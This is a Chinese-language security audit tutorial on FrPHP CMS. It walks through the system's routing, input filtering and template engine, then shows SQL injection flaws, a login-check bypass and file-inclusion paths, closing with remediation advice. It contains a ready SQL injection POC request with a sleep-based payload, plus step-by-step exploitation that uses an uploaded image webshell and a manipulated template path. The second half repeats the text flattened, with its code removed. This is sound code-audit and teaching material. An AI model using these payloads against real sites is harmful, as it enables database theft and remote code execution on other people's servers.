某CMS审计(php)
字数 1477 2025-08-20 18:18:05

FrPHP CMS安全审计与漏洞分析教学文档

一、系统架构分析

1.1 目录结构

A/ - 后台控制器、模板、插件等
Home/ - 用户相关控制器和模板文件
Conf/ - 配置文件目录
Frphp/ - MVC框架核心目录

1.2 核心流程

  1. 入口文件index.php定义常量并包含Fr.php
  2. FrPHP类构造函数:
    • 定义系统常量
    • 包含公共函数库(/common/Functions.php)
    • 包含项目函数库(/CONF/Functions.php)
    • 加载扩展目录(/Extend)下的PHP文件
  3. 运行流程:
    • 设置数据库配置
    • 检测开发环境
    • 处理路由
    • 实例化控制器并调用方法

二、路由机制分析

2.1 路由处理流程

  1. 获取REQUEST_URI并进行URL解码
  2. 从缓存读取系统配置(缓存机制使用双重MD5)
  3. 自定义路由处理(Conf/route.php):
    return [
        ['正则url', '系统内真实链接', '传输方式'],
        // 示例
        ['/\/base\/([0-9]+)\.html$/', 'Home/test/id/$1', 'GET']
    ];
    
  4. 参数提取:
    $position = strpos($url,'?');
    if($position!==false){
        $param = substr($url,$position+1);
        parse_str($param,$_GET);
    }
    

2.2 参数过滤机制

format_param函数处理不同类型输入:

function format_param($value=null,$int=0,$default=false){
    switch ($int){
        case 0: return (int)$value; //整数
        case 1: //字符串
            $value = SafeFilter($value);
            $value=htmlspecialchars(trim($value), ENT_QUOTES);
            return addslashes($value);
        case 2: //数组
            array_walk_recursive($value, "array_format");
            return $value;
        case 3: return (float)$value; //浮点
        case 4: return addslashes(trim($value)); //原始字符串
    }
}

XSS过滤函数:

function SafeFilter($arr) {
    $ra=Array('/([\x00-\x08]x0b-\x0c]x0e-\x19])/','/script(.*)script/','/javascript(.*)javascript/');
    return preg_replace($ra,'',$arr);
}

三、模板引擎分析

3.1 核心组件

  1. View类负责模板渲染
  2. 主要方法:
    • assign(): 赋值模板变量
    • render(): 渲染模板
    • template(): 解析模板
    • template_html(): 替换模板标签为PHP代码

3.2 模板缓存机制

  1. 模板处理流程:
    $fp_tp=@fopen($controllerLayout,"r");
    $fp_txt=@fread($fp_tp,filesize($controllerLayout));
    $fp_txt=$this->template_html($fp_txt);
    $fpt_tpl=@fopen($cache_file,"w");
    @fwrite($fpt_tpl,$fp_txt);
    @fclose($fpt_tpl);
    
  2. 最终包含缓存文件执行:
    include $cache_file;
    

四、漏洞分析

4.1 前台SQL注入漏洞1

漏洞位置:多个控制器的murl()方法

漏洞代码

// Home/c/Homecontroller.php
public function murl($param){
    $id = $param['id']; // 未过滤
    $this->db->find("select * from jz_molds where id=$id");
}

利用条件

  • 直接调用带参数的方法
  • 参数未经过frparam()过滤

影响控制器

  • Home/c/Homecontroller.php murl()
  • A/c/indexcontroller.php murl()
  • A/c/indexcontroller.php html_classtype()
  • A/c/indexcontroller.php html_molds()

4.2 前台SQL注入漏洞2

漏洞位置:Home/c/commentcontroller.php

漏洞原理

  1. 表jz_comment存在id字段
  2. 外部传入id参数未经过frparam()过滤
  3. 预处理时保留id字段值

POC

POST /comment/index.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

go=1&body=123123&tid=1&zid=0&pid=0&id=2313','1','0','0','0','123123','1637579899','2','0','1','0');select sleep(5)#;

4.3 前台用户登录检测绕过

漏洞位置:A/c/LoginController.php

绕过原理

  1. 验证码模块可自定义session键名
    // Imagecode调用
    $_SESSION[$param['session_name']] = $code;
    
  2. 普通用户检测仅检查session中是否有member键
    if(isset($_SESSION['member'])){
        $this->islogin = true;
    }
    

4.4 后台文件包含漏洞1

漏洞位置:Home/c/MessageController.php

利用步骤

  1. 上传图片马到可访问目录
  2. 后台编辑message模型,设置模板路径为:
    @../../static/upload/2021/11/23/202111235399.png
    
  3. 访问留言详情触发包含:
    http://ip/message/details.html?id=1
    

4.5 后台文件包含漏洞2

利用步骤

  1. 修改上传设置:
    • 允许上传html后缀
    • 设置上传路径为模板目录:Home/template/default/message
  2. 上传HTML文件(包含PHP代码)
  3. 新建栏目选择该模板文件
  4. 预览栏目触发代码执行

五、安全建议

  1. 输入过滤

    • 所有外部输入必须经过frparam()过滤
    • 严格区分过滤类型(整数、字符串、数组等)
  2. SQL防护

    • 使用预处理语句替代直接拼接
    • 实现字段白名单验证机制
  3. 会话管理

    • 加强登录状态验证
    • 限制session_name参数值
  4. 文件包含防护

    • 限制模板文件路径
    • 禁止用户控制完整文件路径
  5. 上传限制

    • 严格限制上传文件类型和后缀
    • 禁止上传文件到模板目录
  6. 路由安全

    • 加强路由参数验证
    • 实现严格的路由匹配规则

本教学文档详细分析了FrPHP CMS的安全机制和存在的漏洞,涵盖了从架构设计到具体漏洞利用的全过程,可作为安全研究和代码审计的参考材料。

FrPHP CMS安全审计与漏洞分析教学文档 一、系统架构分析 1.1 目录结构 1.2 核心流程 入口文件index.php定义常量并包含Fr.php FrPHP类构造函数: 定义系统常量 包含公共函数库(/common/Functions.php) 包含项目函数库(/CONF/Functions.php) 加载扩展目录(/Extend)下的PHP文件 运行流程: 设置数据库配置 检测开发环境 处理路由 实例化控制器并调用方法 二、路由机制分析 2.1 路由处理流程 获取REQUEST_ URI并进行URL解码 从缓存读取系统配置(缓存机制使用双重MD5) 自定义路由处理(Conf/route.php): 参数提取: 2.2 参数过滤机制 format_param 函数处理不同类型输入: XSS过滤函数: 三、模板引擎分析 3.1 核心组件 View类负责模板渲染 主要方法: assign() : 赋值模板变量 render() : 渲染模板 template() : 解析模板 template_html() : 替换模板标签为PHP代码 3.2 模板缓存机制 模板处理流程: 最终包含缓存文件执行: 四、漏洞分析 4.1 前台SQL注入漏洞1 漏洞位置 :多个控制器的murl()方法 漏洞代码 : 利用条件 : 直接调用带参数的方法 参数未经过frparam()过滤 影响控制器 : Home/c/Homecontroller.php murl() A/c/indexcontroller.php murl() A/c/indexcontroller.php html_ classtype() A/c/indexcontroller.php html_ molds() 4.2 前台SQL注入漏洞2 漏洞位置 :Home/c/commentcontroller.php 漏洞原理 : 表jz_ comment存在id字段 外部传入id参数未经过frparam()过滤 预处理时保留id字段值 POC : 4.3 前台用户登录检测绕过 漏洞位置 :A/c/LoginController.php 绕过原理 : 验证码模块可自定义session键名 普通用户检测仅检查session中是否有member键 4.4 后台文件包含漏洞1 漏洞位置 :Home/c/MessageController.php 利用步骤 : 上传图片马到可访问目录 后台编辑message模型,设置模板路径为: 访问留言详情触发包含: 4.5 后台文件包含漏洞2 利用步骤 : 修改上传设置: 允许上传html后缀 设置上传路径为模板目录: Home/template/default/message 上传HTML文件(包含PHP代码) 新建栏目选择该模板文件 预览栏目触发代码执行 五、安全建议 输入过滤 : 所有外部输入必须经过frparam()过滤 严格区分过滤类型(整数、字符串、数组等) SQL防护 : 使用预处理语句替代直接拼接 实现字段白名单验证机制 会话管理 : 加强登录状态验证 限制session_ name参数值 文件包含防护 : 限制模板文件路径 禁止用户控制完整文件路径 上传限制 : 严格限制上传文件类型和后缀 禁止上传文件到模板目录 路由安全 : 加强路由参数验证 实现严格的路由匹配规则 本教学文档详细分析了FrPHP CMS的安全机制和存在的漏洞,涵盖了从架构设计到具体漏洞利用的全过程,可作为安全研究和代码审计的参考材料。